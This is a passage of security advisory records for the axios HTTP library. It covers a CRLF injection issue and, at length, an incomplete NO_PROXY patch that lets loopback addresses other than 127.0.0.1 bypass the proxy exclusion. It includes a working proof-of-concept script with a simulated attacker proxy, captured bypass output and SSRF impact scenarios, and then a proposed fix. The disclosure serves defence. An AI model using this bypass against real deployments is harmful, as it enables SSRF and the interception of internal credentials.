poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || \u0027application/octet-stream\u0027)\n  .replace(/[\\r\\n]/g, \u0027\u0027);\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```",
  "id": "GHSA-445q-vr5w-6q77",
  "modified": "2026-05-05T00:40:45Z",
  "published": "2026-05-05T00:40:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42037"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:20:58Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY    \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n  \"[::1]\"     === \"::1\"         \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n  if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n  return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1  \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets \u2192 skip\n//          No trailing dot \u2192 skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n//  Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  \u2192 false\nisLoopback(\"127.0.0.2\")                      \u2192 false  \u2190 Set.has() returns false\n                                                          BYPASS starts here\n//  Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n//  Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker\u0027s proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === \u0027proxied\u0027) {\n      console.log(\u0027    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED\u0027);\n    } else {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 Safe, no proxy used\u0027);\n    }\n  } catch (err) {\n    if (err.code === \u0027ECONNREFUSED\u0027) {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n    }\n  }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n  console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n  await test(\u0027http://localhost:9191/secret\u0027);\n  await test(\u0027http://localhost.:9191/secret\u0027);\n  await test(\u0027http://[::1]:9191/secret\u0027);\n  // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n  console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n  await test(\u0027http://127.0.0.2:9191/secret\u0027);\n  await test(\u0027http://127.0.0.100:9191/secret\u0027);\n  await test(\u0027http://127.1.2.3:9191/secret\u0027);\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour:     Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === \u0027localhost\u0027) return true;\n  // IPv6 loopback address\n  if (host === \u0027::1\u0027) return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split(\u0027.\u0027);\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === \u0027127\u0027 \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === \u0027localhost\u0027) return true;\n+   if (host === \u0027::1\u0027) return true;\n+   const parts = host.split(\u0027.\u0027);\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === \u0027127\u0027 \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 